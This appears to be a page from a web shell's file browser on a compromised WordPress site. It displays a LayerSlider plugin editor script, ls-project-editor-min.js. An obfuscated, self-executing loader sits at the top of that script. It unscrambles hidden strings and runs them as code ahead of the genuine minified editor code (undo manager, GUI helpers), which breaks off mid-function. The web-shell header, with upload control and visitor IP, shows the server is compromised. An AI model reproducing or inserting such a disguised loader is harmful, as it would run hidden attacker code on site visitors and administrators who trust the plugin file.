AlkantarClanX12

Your IP : 3.138.170.67


Current Path : /home/thanudqk/www/wp-content/plugins/LayerSlider/assets/static/admin/js/
Upload File :
Current File : /home/thanudqk/www/wp-content/plugins/LayerSlider/assets/static/admin/js/ls-project-editor-min.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();var LS_previewArea,LS_previewHolder,LS_previewWrapper,LS_sliderID=0,LS_activeSlideIndex=0,LS_activeLayerIndexSet=[],LS_activeScreenType="desktop",LS_lastSelectedLayerIndex=0,LS_previewItems=[],LS_activeSlideData={},LS_activeLayerDataSet=[],LS_activeStaticLayersDataSet=[],LS_defaultSlideData={},LS_defaultLayerData={},LS_sliderIsDirty=!1,LS_editorIsDirty=!1,LS_draftNoticeOpened=0,LS_layerWasDragged=!1,LS_sliderSettingsOpened=!1,LS_callbackSettingsOpened=!1,LS_imageEditorOpened=!1,LS_multipleSelection=!1,LS_preventDatePickerChange=!1,LS_scrollTransitionPreviewWarningDisplayed=!1,LS_quickEditLayerIndex=0,LS_searchMatches=[],LS_searchOpened=!1,LS_preventKeyboardShortcuts=!1,LS_clipboard={},LS_previewZoom=1,LS_contextMenuTop=10,LS_contextMenuLeft=10,LS_transformStyles=["rotation","rotationX","rotationY","scaleX","scaleY","skewX","skewY"],LS_tourData=!1,LS_tourIsActive=!1,LS_loadedGoogleFonts=[],LS_loadedExternalFonts=[],lsSetSliderDirtyState=function(e){LS_sliderIsDirty=!!e,jQuery("lse-editor")[e?"addClass":"removeClass"]("lse-slider-is-dirty")},lsSetEditorDirtyState=function(e){LS_editorIsDirty=!!e,e&&lsSetSliderDirtyState(e),jQuery("lse-editor")[e?"addClass":"removeClass"]("lse-editor-is-dirty")},$lasso=jQuery(),LS_Utils={convertDateToUTC:function(e){return new Date(e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate(),e.getUTCHours(),e.getUTCMinutes(),e.getUTCSeconds())},jsTimeZoneID:function(){var e=(new Date).getTimezoneOffset(),t=Math.abs(e);return(e<0?"+":"-")+("00"+Math.floor(t/60)).slice(-2)+":"+("00"+t%60).slice(-2)},dataURItoBlob:function(e,t){t=t||"image/png";for(var i=atob(e.split(",")[1]),a=[],r=0;r<i.length;r++)a.push(i.charCodeAt(r));return new Blob([new Uint8Array(a)],{type:t})},resizeCanvas:function(e,t,i){var a=document.createElement("canvas");return a.width=t,a.height=i,a.getContext("2d").drawImage(e,0,0,e.width,e.height,0,0,t,i),a},moveArrayItem:function(e,t,i){if(i!==t){for(var a=e[t],r=i<t?-1:1,s=t;s!=i;s+=r)e[s]=e[s+r];e[i]=a}},toAbsoluteURL:function(e){return-1!=e.search(/^\/\//)?window.location.protocol+e:-1!=e.search(/:\/\//)?e:-1!=e.search(/^\//)?window.location.origin+e:window.location.href.match(/(.*\/)/)[0]+e},stripTags:function(e,t){t=(((t||"")+"").toLowerCase().match(/<[a-z][a-z0-9]*>/g)||[]).join("");return e.replace(/<!--[\s\S]*?-->|<\?(?:php)?[\s\S]*?\?>/gi,"").replace(/<\/?([a-z][a-z0-9]*)\b[^>]*>/gi,(function(e,i){return t.indexOf("<"+i.toLowerCase()+">")>-1?e:""}))},nl2br:function(e,t){var i=t||void 0===t?"<br />":"<br>";return(e+"").replace(/([^>\r\n]?)(\r\n|\n\r|\r|\n)/g,"$1"+i+"$2")},removeTextSelection:function(){var e=window.getSelection?window.getSelection():document.selection?document.selection:null;e&&(e.empty?e.empty():e.removeAllRanges())},stripslashes:function(e){return(e+"").replace(/\\(.?)/g,(function(e,t){switch(t){case"\\":return"\\";case"0":return"\0";case"":return"";default:return t}}))},parse_url:function(e,t){for(var i=("undefined"!=typeof require?require("../info/ini_get")("locutus.parse_url.mode"):void 0)||"php",a=["source","scheme","authority","userInfo","user","pass","host","port","relative","path","directory","file","query","fragment"],r={php:new RegExp(["(?:([^:\\/?#]+):)?","(?:\\/\\/()(?:(?:()(?:([^:@\\/]*):?([^:@\\/]*))?@)?([^:\\/?#]*)(?::(\\d*))?))?","()","(?:(()(?:(?:[^?#\\/]*\\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)"].join("")),strict:new RegExp(["(?:([^:\\/?#]+):)?","(?:\\/\\/((?:(([^:@\\/]*):?([^:@\\/]*))?@)?([^:\\/?#]*)(?::(\\d*))?))?","((((?:[^?#\\/]*\\/)*)([^?#]*))(?:\\?([^#]*))?(?:#(.*))?)"].join("")),loose:new RegExp(["(?:(?![^:@]+:[^:@\\/]*@)([^:\\/?#.]+):)?","(?:\\/\\/\\/?)?","((?:(([^:@\\/]*):?([^:@\\/]*))?@)?([^:\\/?#]*)(?::(\\d*))?)","(((\\/(?:[^?#](?![^?#\\/]*\\.[^?#\\/.]+(?:[?#]|$)))*\\/?)?([^?#\\/]*))","(?:\\?([^#]*))?(?:#(.*))?)"].join(""))},s=r[i].exec(e),l={},o=14;o--;)s[o]&&(l[a[o]]=s[o]);if(t)return l[t.replace("PHP_URL_","").toLowerCase()];if("php"!==i){var n=("undefined"!=typeof require?require("../info/ini_get")("locutus.parse_url.queryKey"):void 0)||"queryKey";r=/(?:^|&)([^&=]*)=?([^&]*)/g,l[n]={},(l[a[12]]||"").replace(r,(function(e,t,i){t&&(l[n][t]=i)}))}return delete l.source,l},beautifyFileName:function(e){return(e=(e=(e=(e=e||"").toString()).split("/").pop()).split(".")).length>1&&e.pop(),e=(e=(e=e.join("")).replace(/-|_/g," ")).charAt(0).toUpperCase()+e.slice(1)},normalizeSVG:function(e){var t=(new DOMParser).parseFromString(e,"image/svg+xml"),i=jQuery(t).find("svg"),a=parseInt(i.attr("width")),r=parseInt(i.attr("height"));if(!i.length)return lsCommon.smartAlert.open({text:LS_l10n.SBInvalidSVGSource,textAlign:"center"}),!1;a&&r&&(i.attr("viewbox")||(i[0].setAttribute("viewBox","0 0 "+a+" "+r),i.removeAttr("width height")));let s=LS_Utils.getNormalizedSVGSize(a,r);return{html:i[0].outerHTML,width:s.width,height:s.height}},getNormalizedSVGSize:function(e=300,t=300){let i=e/t;return e>t?t=(e=300)/i:e=(t=300)*i,{width:Math.ceil(e),height:Math.ceil(t)}},version_compare:function(e,t,i){let a,r,s=0;const l={dev:-6,alpha:-5,a:-5,beta:-4,b:-4,RC:-3,rc:-3,"#":-2,p:1,pl:1},o=function(e){return(e=(e=(""+e).replace(/[_\-+]/g,".")).replace(/([^.\d]+)/g,".$1.").replace(/\.{2,}/g,".")).length?e.split("."):[-8]},n=function(e){return e?isNaN(e)?l[e]||-7:parseInt(e,10):0};for(e=o(e),t=o(t),r=Math.max(e.length,t.length),a=0;a<r;a++)if(e[a]!==t[a]){if(e[a]=n(e[a]),t[a]=n(t[a]),e[a]<t[a]){s=-1;break}if(e[a]>t[a]){s=1;break}}if(!i)return s;switch(i){case">":case"gt":return s>0;case">=":case"ge":return s>=0;case"<=":case"le":return s<=0;case"===":case"=":case"eq":return 0===s;case"<>":case"!==":case"ne":return 0!==s;case"":case"<":case"lt":return s<0;default:return null}},maybeAddLineBreaksToLayerContent:function(e){let t=e.html||"";return e.htmlLineBreak&&("enabled"===e.htmlLineBreak&&(t=LS_Utils.nl2br(t)),"auto"===e.htmlLineBreak&&-1!==["text","button","post"].indexOf(e.media)&&(t=LS_Utils.nl2br(t))),t},shouldWrapLayerContent:function(e){if(e){let t=jQuery.trim(e),i=t.substr(0,1),a=t.substr(t.length-1,1);if("<"===i&&">"===a)try{let e=jQuery(t);if(e&&1===e.length)return!1}catch(e){}}return!0},parseHex:function(e,t){return(e=e.replace(/^#/g,"")).match(/^[A-F0-9]{3,6}/gi)?3!==e.length&&6!==e.length?"":(3===e.length&&t&&(e=e[0]+e[0]+e[1]+e[1]+e[2]+e[2]),"#"+e):""},shouldDisplayPermiumWarning:function(e={}){return!LS_editorMeta.isActivatedSite&&(!(!LS_editorMeta.isActivatedSite&&lsSliderData.properties.pt)&&(!("shape"!==e.media&&"icon"!==e.media||!e.html||!e.html.includes("<svg"))||(!(!e.icon||!e.icon.includes("<svg"))||!(!e?.styles?.["background-clip"]||"border-box"===e.styles["background-clip"]))))}},LS_GUI={updateIconPicker:function(e,t){let i,a=!1;if("string"==typeof e&&(e=jQuery('lse-icon-picker[data-prop="'+e+'"]')),t&&-1!==t.indexOf("<")&&-1!==t.indexOf(">")){try{i=jQuery(t)}catch(e){}i&&i.is("i.fa,svg")&&(a=!0)}e.parent()[a?"addClass":"removeClass"]("lse-has-icon"),e.html(a?t:"")},updateColorPicker:function(e,t,i){void 0!==e&&("string"==typeof e&&(e=jQuery('input[name="'+e+'"]')),t=t||e.val()||"",i=i||{type:"",color:t||"transparent"},e.parent()[t?"addClass":"removeClass"]("lse-has-color"),e.css("background",t).val(t).data("color",i))},updateImagePicker:function(e,t,i){if(i=i||{},"string"==typeof e&&(e=jQuery('lse-image-input[data-prop="'+e+'"]')),"useCurrent"===t){var a=e.css("background-image");a=a?a.slice(4,-1).replace(/["']/g,""):"",t=e.data("image-url")||a}t&&-1!==t.indexOf("blank.gif")&&(i.fromPost||(t=!1));var r=t||lsTrImgPath+"/blank.gif";e.css("background-image",'url("'+r+'")').data("image-url",r),LayerSlider.setActiveLayerMedia(),setTimeout((()=>{"layer"===lsEditor.preview.state?(lsEditor.preview.exit("layer"),lsEditor.preview.enter("layer")):"slide"===lsEditor.preview.state&&(lsEditor.preview.exit("slide"),lsEditor.preview.enter("slide"))}),200)},updateLinkPicker:function(e){if("string"==typeof e&&(e=jQuery('input[name="'+e+'"]')),e.length){var t,i=e.closest(".lse-link-fields"),a=e.attr("name"),r=e.val(),s=i.closest("lse-slide-settings").length?LS_activeSlideData.properties:LS_activeLayerDataSet[0],l=i.find('input[name="linkId"]'),o=i.find('input[name="linkName"]'),n=i.find('input[name="linkType"]'),d=l.val(),c=o.val(),u=n.val();if((c=jQuery("<textarea>").html(c).text())&&(d&&"#"===d.substr(0,1)||r&&"#"===r.substr(0,1))){var p=LS_l10n.SBLinkSmartAction.replace("%s",c);i.addClass("lse-has-link"),d.length||l.val(r),e.val(p).prop("disabled",!0)}else d&&"[post-url]"===d||r&&"[post-url]"===r?(i.addClass("lse-has-link"),e.val(LS_l10n.SBLinkPostDynURL).prop("disabled",!0),l.val("[post-url]")):d&&c&&u?(t="SBLinkText"+ucFirst(u),i.addClass("lse-has-link"),e.val(LS_l10n[t].replace("%s",c)).prop("disabled",!0)):(i.removeClass("lse-has-link"),e.prop("disabled",!1));s[a]=e.val(),s.linkId=l.val(),s.linkName=o.val(),s.linkType=n.val()}},deeplinkSection:function(){var e=document.location.hash.replace("#",""),t=jQuery('[data-deeplink="'+e+'"]');t.length&&(t.closest("#lse-project-settings-sidebar").length?LayerSlider.openSliderSettings(t.index()):t.click())}},LS_UndoManager={index:-1,stack:[],limit:50,add:function(e,t,i,a){this.stack.splice(this.index+1,this.stack.length-this.index),this.index=this.stack.length-1,this.stack.length>this.limit&&this.stack.shift(),LS_activeSlideData.hasOwnProperty("history")||(LS_activeSlideData.history=[]),this.prepareUpdateInfo(i);let r={cmd:e,name:t,updateInfo:i};a&&(r.prop=a),this.stack.push(r),this.index=this.stack.length-1,this.maintainButtons(),lsSetEditorDirtyState(!0)},update:function(){LS_activeSlideData.hasOwnProperty("history")||(LS_activeSlideData.history=[]),this.stack=LS_activeSlideData.history,this.index=this.stack.length-1,LS_activeSlideData.meta&&LS_activeSlideData.meta.undoStackIndex&&(this.index=LS_activeSlideData.meta.undoStackIndex),this.maintainButtons()},merge:function(e,t,i,a){var r=this.stack[this.stack.length-1];if(!r||a&&!r.prop||a&&a!==r.prop)return void this.add(e,t,i,a);if(!this.layerSelectionMatches(r.updateInfo,i))return void this.add(e,t,i,a);jQuery.each(r.updateInfo,(function(e,t){jQuery.extend(!0,t.redo,i[e].redo),function(e,t){for(let i in t)e.hasOwnProperty(i)||(e[i]=t[i])}(t.undo,i[e].undo)}))},empty:function(){LS_activeSlideData.history=[],LS_activeSlideData.meta&&LS_activeSlideData.meta.undoStackIndex&&(LS_activeSlideData.meta.undoStackIndex=-1),this.update()},undo:function(){this.stack[this.index]&&(this.execute("undo",this.stack[this.index],this.stack[this.index-1]),this.index--,this.maintainButtons())},redo:function(){this.stack[this.index+1]&&(this.index++,this.execute("redo",this.stack[this.index],this.stack[this.index+1]),this.maintainButtons())},jumpTo:function(e){var t=this.stack.length-(e+1);if(this.index!==t)if(this.index>t)for(;this.index>t;)this.undo();else for(;this.index<t;)this.redo()},layerSelectionMatches:function(e,t){let i=e.map((e=>e.itemIndex)),a=t.map((e=>e.itemIndex));return i.sort((function(e,t){return e-t})),a.sort((function(e,t){return e-t})),i.toString()===a.toString()},prepareUpdateInfo:function(e){e&&"object"==typeof e&&jQuery.each(e,(function(t,i){if("object"==typeof i&&null!==i)return LS_UndoManager.prepareUpdateInfo(i),!0;void 0===i&&(e[t]=null)}))},maintainList:function(){var e=jQuery("#lse-history-list");LS_UndoManager.index;e.find("lse-button:not(.lse-protected)").remove(),jQuery.each(LS_UndoManager.stack,(function(t,i){let a=LS_l10n.history[i.name]?LS_l10n.history[i.name].icon:LS_l10n.history.GENERAL.icon;title=LS_l10n.history[i.name]?LS_l10n.history[i.name].title:i.name,e.prepend(`\n\t\t\t\t\t<lse-button>\n\t\t\t\t\t\t${a}\n\t\t\t\t\t\t<lse-text>${title}</lse-text>\n\t\t\t\t\t</lse-button>\n\t\t\t\t`)}))},maintainButtons:function(e){this.maintainList();var t=jQuery("#lse-history-undo"),i=jQuery("#lse-history-redo"),a=jQuery("#lse-history-list"),r=LS_UndoManager.stack.length-(LS_UndoManager.index+1);LS_activeSlideData.meta.undoStackIndex=this.index,-1!==this.index?t.removeClass("lse-disabled"):t.addClass("lse-disabled"),this.index<this.stack.length-1?i.removeClass("lse-disabled"):i.addClass("lse-disabled"),a.find("lse-button").eq(r).addClass("lse-selected").siblings().removeClass("lse-selected")},execute:function(e,t,i){var a=[];"object"===jQuery.type(t.updateInfo)&&(t.updateInfo=[t.updateInfo]);for(var r=0;r<t.updateInfo.length;r++)this.executeItem(t.cmd,t.updateInfo[r].itemIndex,t.updateInfo[r][e],t.updateInfo[r]),a.push(t.updateInfo[r].itemIndex);if("layer"===lsEditor.preview.state){let e=LayerSlider.findLayerPreviewItems(),t={};e&&(t.indexSet=e.indexSet,t.dataSet=e.dataSet),lsEditor.preview.exit("layer",{willRestart:!0}),lsEditor.preview.enter("layer",t)}else"slide"===lsEditor.preview.state&&(lsEditor.preview.exit("slide"),lsEditor.preview.enter("slide"));this.restoreSelection(e,a,i),lsSetEditorDirtyState(!0)},restoreSelection:function(e,t,i){if(i&&"undo"===e){var a=[];"object"===jQuery.type(i.updateInfo)&&(i.updateInfo=[i.updateInfo]);for(var r=0;r<i.updateInfo.length;r++)a.push(i.updateInfo[r].itemIndex)}JSON.stringify(a||t)!==JSON.stringify(LS_activeLayerIndexSet)&&(LS_activeSlideData.sublayers.length-1<Math.max.apply(Math,a||t)?LayerSlider.selectLayer([LS_activeSlideData.sublayers.length-1],{remainInPreview:!0}):LayerSlider.selectLayer(a||t,{remainInPreview:!0}))},executeItem:function(e,t,i,a){switch(e){case"slide.general":this.updateOptions(LS_activeSlideData.properties,t,i,"slide"),LayerSlider.updateSlidePreviews(),LayerSlider.updateSlideInterfaceItems(),LayerSlider.generatePreview();break;case"slide.layers":if(!jQuery.isEmptyObject(i.data))return void LayerSlider.addLayer(i.data,t,{histroyEvent:!0});LayerSlider.removeLayer(t,{histroyEvent:!0,requireConfirmation:!1},{remainInPreview:!0}),LS_DataSource.buildLayersList(),LayerSlider.generatePreview();break;case"layer.order":LS_Utils.moveArrayItem(LS_activeSlideData.sublayers,i.from,i.to),LS_DataSource.buildLayersList(),LayerSlider.generatePreview();break;case"layer.general":this.updateOptions(LS_activeSlideData.sublayers[t],t,i),LayerSlider.updateLayerInterfaceItems(t),LayerSlider.generatePreviewItem(t),LayerSlider.updatePreviewSelection();break;case"layer.transition":this.updateOptions(LS_activeSlideData.sublayers[t].transition,t,i),LayerSlider.updateLayerInterfaceItems(t),LayerSlider.generatePreviewItem(t);break;case"layer.style":this.updateOptions(LS_activeSlideData.sublayers[t].styles,t,i),LayerSlider.updateLayerInterfaceItems(t),LayerSlider.generatePreviewItem(t),LayerSlider.updatePreviewSelection()}},updateOptions:function(e,t,i,a){var r="slide"===(a=a||"layers")?"lse-slide-settings":"lse-layer-settings";jQuery.each(i,(function(s,l){if("object"==typeof l&&null!==l&&!l.angle&&!l.stops&&"shapeData"!==s)return LS_UndoManager.updateOptions(e[s],t,i[s],a),!0;if(null==l?(delete e[s],l=""):e[s]=l,i[s+"Data"]&&(e[s+"Data"]=i[s+"Data"]),"slide"===a||1==LS_activeLayerIndexSet.length&&t==LS_activeLayerIndexSet[0]){let e=jQuery(r+' [name="'+s+'"]'),t=e.attr("type"),i=e.data("default");"number"===t&&(l=parseFloat(l)||""),l||!1===l||(l=i),e.is(":checkbox")?e.prop("checked",Boolean(l)).data("value",Boolean(l)):e.is("input,textarea")?(e.is('input[type="range"],input[type="hidden"]')||e.closest(".lse-color-input").length||(l=l==i?"":l),e.val(l).data("value",l)):e.is("select")&&(e.children().prop("selected",!1),e.children('[value="'+l+'"]').prop("selected",!0),e.data("value",l)),e.trigger("input",{undoManagerAction:!0}).trigger("keyup",{undoManagerAction:!0})}}))},saveOriginalInputValues:function(e){var t=[],i=null,a=e.attr("name"),r=e.is(":checkbox")?!e.prop("checked"):e.val();e.data("prevVal",r),e.closest("lse-layer-settings").length&&(e.hasClass("lse-transition-prop")?i="transition":e.hasClass("lse-style-prop")&&(i="styles"),jQuery.each(LS_activeLayerDataSet,(function(e,r){var s=r;i&&(s=s[i]),t.push(s[a])})),e.data("prevVal",t))},trackInputs:function(e,t){if(!(e=e||{type:"change"}).undoManagerAction){var i,a,r,s=jQuery(t);if(s.attr("name"))if("change"===e.type.toLowerCase()){if(!s.hasClass("lse-color-picker-input")&&!s.data("lse-undomanager-exclude")&&!s.closest(".lse-undomanager-exclude").length){if(s.closest("lse-layer-settings").length)i="layer.general",a="LAYER_SETTINGS",r=LS_activeLayerIndexSet[0],"html"===s.attr("name")?a="LAYER_CONTENT":s.hasClass("lse-transition-prop")?("transition",i="layer.transition",a="LAYER_TRANSITION"):s.hasClass("lse-style-prop")&&("styles",i="layer.style",a="LAYER_STYLES");else{if(!s.closest("lse-slide-settings").length)return!0;i="slide.general",a="SLIDE_SETTINGS",r=LS_activeSlideIndex}var l=[],o=s.attr("name"),n=s.is(":checkbox")?s.prop("checked"):s.val(),d=s.is(":checkbox")?!s.prop("checked"):s.data("prevVal"),c=s.hasClass("lse-undomanager-merge")?"merge":"add",u="merge"===c?s.data("prop"):"";if(!o)return!1;if("object"==typeof d)jQuery.each(LS_activeLayerIndexSet,(function(e,t){var i={},a={};i[o]=d[e],a[o]=n,"gradient"===s.data("type")&&(i[o+"Data"]=s.data("prevColor"),a[o+"Data"]=s.data("color")),d[e]!==n&&l.push({itemIndex:t,undo:i,redo:a})}));else if(d!==n){var p={},y={};p[o]=d,y[o]=n,l.push({itemIndex:r,undo:p,redo:y})}l.length&&LS_UndoManager[c](i,a,l,u)}}else this.saveOriginalInputValues(s)}}},LayerSlider={uploadInput:null,dragIndex:0,timeout:0,mediaCheckTimeout:0,isSlidePreviewActive:!1,isLayerPreviewActive:!1,selectableTimeout:0,publishTimeout:0,isEmptyProject:function(e){var t=!0;return!lsSliderData.properties.backgroundimage&&(!lsSliderData.properties.backgroundcolor&&(jQuery.each(window.lsSliderData.layers,(function(i,a){return jQuery.trim(a.properties.background)||jQuery.trim(a.properties.bgcolor)?(t=!1,!1):(jQuery.each(a.sublayers,(function(e,i){if("img"===i.media){if(i.image)return t=!1,!1}else{if(i.html)return t=!1,!1;if(i.styles.width||i.styles.height){if(i.styles.background)return t=!1,!1;if(i.styles["background-color"])return t=!1,!1;if(i.layerBackground)return t=!1,!1;if(i.styles["border-top"]||i.styles["border-right"]||i.styles["border-bottom"]||i.styles["border-left"])return t=!1,!1}}})),(!e||e!==i+1)&&void 0)})),t))},selectSettingsTab:function(e){var t=jQuery(e),i=(t.index(),t.data("deeplink"));return t.hasClass("lse-callbacks-tab")?(kmw.modal.close(),setTimeout((()=>{LayerSlider.openEventCallbacks()}),500),!1):!t.hasClass("lse-locked")&&void 0===t.data("lse-locked")&&void(document.location.hash=i)},switchSliderSettingsTab:function(e){jQuery("#lse-project-settings-sidebar kmw-menuitem").eq(e).click()},highlightOptionRow:function(e){let t=e.find("td"),i=e.closest("lse-table-wrapper"),a=e.position().top,r=i.position().top;e.closest(".lse-scrollbar").scrollTop(r+a-100),t.addClass("lse-highlight-item"),setTimeout((function(){t.removeClass("lse-highlight-item")}),1e3)},openSliderSettings:function(e){LS_sliderSettingsOpened?void 0!==e&&jQuery("#lse-project-settings-sidebar kmw-menuitem").eq(e).click():kmw.modal.open({content:jQuery("#lse-project-settings-content"),clip:!0,minWidth:400,maxHeight:"90%",maxWidth:1400,sidebar:{left:{width:300,customHeaderHeight:!0,content:jQuery("#lse-project-settings-sidebar")}},onBeforeOpen:function(){LS_sliderSettingsOpened=!0,void 0!==e&&jQuery("#lse-project-settings-sidebar kmw-menuitem").eq(e).click(),LayerSlider.isEmptyProject()?jQuery(".lse-popup-preview-button").addClass("lse-inactive").attr({"data-tt":"","data-tt-de":.1}):jQuery(".lse-popup-preview-button").removeClass("lse-inactive").removeAttr("data-tt data-tt-de")},onClose:function(){LS_sliderSettingsOpened=!1,history.replaceState(null,document.title,window.location.href.replace(/#.*$/,""))}})},openEventCallbacks:function(){LS_callbackSettingsOpened||kmw.modal.open({content:"#tmpl-callback-events-modal",maxWidth:1800,maxHeight:"100%",sidebar:{left:{width:300,customHeaderHeight:!0,content:"#tmpl-callback-events-modal-sidebar"}},onBeforeOpen:function(){LS_callbackSettingsOpened=!0,document.location.hash="callbacks";var e=window.lsSliderData.callbacks||{};jQuery(".lse-callback-box textarea").each((function(){var t=jQuery(this),i=t.attr("name"),a=e[i]||"",r=jQuery("#lse-callback-events-sidebar").find("lse-li:contains('"+i+"')");if(e&&e[i]){t.val(LS_Utils.stripslashes(e[i])),r.addClass("lse-active");var s=a.indexOf("{")+1,l=a.length-1;body=a.substring(s,l);try{new Function(body)}catch(e){r.addClass("lse-warning")}}})),LS_CodeMirror.init({mode:"javascript",autofocus:!1,styleActiveLine:!1})},onClose:function(){history.replaceState(null,document.title,window.location.href.replace(/#.*$/,"")),LS_callbackSettingsOpened=!1}})},openSlideOptions:function(){jQuery("#lse-toolbar-sidebar-tabs lse-button:eq(0)").click()},addSlide:function(e,t){var i={atIndex:window.lsSliderData.layers.length,selectSlide:!0,closeSlidesPanel:!0,showSlideOptions:!1,focusInput:!1};t=jQuery.extend(!0,i,t);var a=!!e,r=window.lsSliderData.layers.length;e||(e={properties:e=jQuery.extend(!0,{},LS_DataSource.getDefaultSlideData()),sublayers:[]});window.lsSliderData.layers.splice(t.atIndex,0,e);var s=jQuery(jQuery("#tmpl-slide-tab").text()).appendToWithIndex("#lse-slide-tabs",t.atIndex);a&&e.properties.title&&s.find(".lse-slide-name input").val(e.properties.title),a&&e.properties.skip&&s.addClass("lse-skip"),LayerSlider.updateSlidePreviews(),LayerSlider.addSlideSortables(),lsSetEditorDirtyState(!0),TweenLite.fromTo(s[0],.4,{scale:0},{scale:1,onComplete:function(){t.selectSlide&&(LayerSlider.selectSlide(s.index(),{closeSlidesPanel:t.closeSlidesPanel,forceSelect:!0}),t.showSlideOptions&&jQuery("#lse-show-slide-settings").triggerHandler("click")),t.focusInput&&s.find("input").focus()}}),1===r&&LayerSlider.maybeShowScrollSceneSlidesWarning()},removeSlide:function(e){var t=LS_activeSlideIndex,i=jQuery("#lse-slide-tabs .lse-slide-tab").eq(t);e&&(i=jQuery(e).closest(".lse-slide-tab"));var a=i.find(".lse-slide-name input").val();lsCommon.smartAlert.open({type:"confirm",width:600,theme:"red",title:a?LS_l10n.SBRemoveSlideTitleName.replace("%s",a):LS_l10n.SBRemoveSlideTitle,text:LS_l10n.SBRemoveSlideText,textAlign:"center",buttons:{ok:{label:LS_l10n.SBRemoveSlideButton}},onConfirm:()=>{var e,t=null,a=i.index();i.next(".lse-slide-tab").length>0?t=i.next():i.prev().length>0&&(t=i.prev()),e=window.lsSliderData.layers.length-1<1?0:.4,TweenLite.to(i[0],e,{scale:0,ease:Power1.easeIn,onComplete:function(){setTimeout((function(){if(i.remove(),window.lsSliderData.layers.splice(a,1),lsSetEditorDirtyState(!0),window.lsSliderData.layers<1)return 